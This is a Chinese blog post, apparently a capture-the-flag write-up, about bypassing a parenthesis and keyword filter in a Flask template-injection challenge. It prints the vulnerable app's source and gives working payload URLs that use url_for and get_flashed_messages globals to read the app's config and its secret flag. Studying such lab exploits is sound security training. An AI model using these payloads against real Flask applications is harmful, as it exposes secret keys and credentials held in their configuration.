目录:
第一部分:
1、SSTI类型
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') //过滤掉() blacklist = ['config', 'self'] //禁止传入的内容中出现config 和 self,但若是python的内置函数中则可以出现 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s //返回 {% set config=None%}{% set self=None%}+s的内容(截图3) //如{% set config=None%}{% set self=None%}`d` return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True) 注入方式在 http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{5*5}} 观察代码,发现我们传入的之中若是含有(),则会被过滤: 表示我们不能进行命令注入,如:system('ls') 也不能使用python中的魔术方法 利用python里面的内置函数,比如url_for和get_flashed_messages config 对象: config 对象就是Flask的config对象,也就是 app.config 对象。 {{ config.SQLALCHEMY_DATABASE_URI }} url_for() 方法: url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。 get_flashed_messages() 方法: 返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。 url_for后面记得加.__globals__才看的到全局变量 构造payload查看全局变量 http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__}} 或者: http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__}} 构造payload查看变量信息: flag在当前的配置变量中 'current_app': <Flask 'app'> http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}} 或者: http://aac92787-941f-4e52-bf27-56118e7fa284.node4.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}} https://blog.csdn.net/ANYOUZHEN/article/details/125106167 https://www.cnblogs.com/a16n/p/12850773.html
标签:__,python,代码,buuoj,url,shrine,测试,config,app From: https://www.cnblogs.com/yiyajinluo/p/16878822.html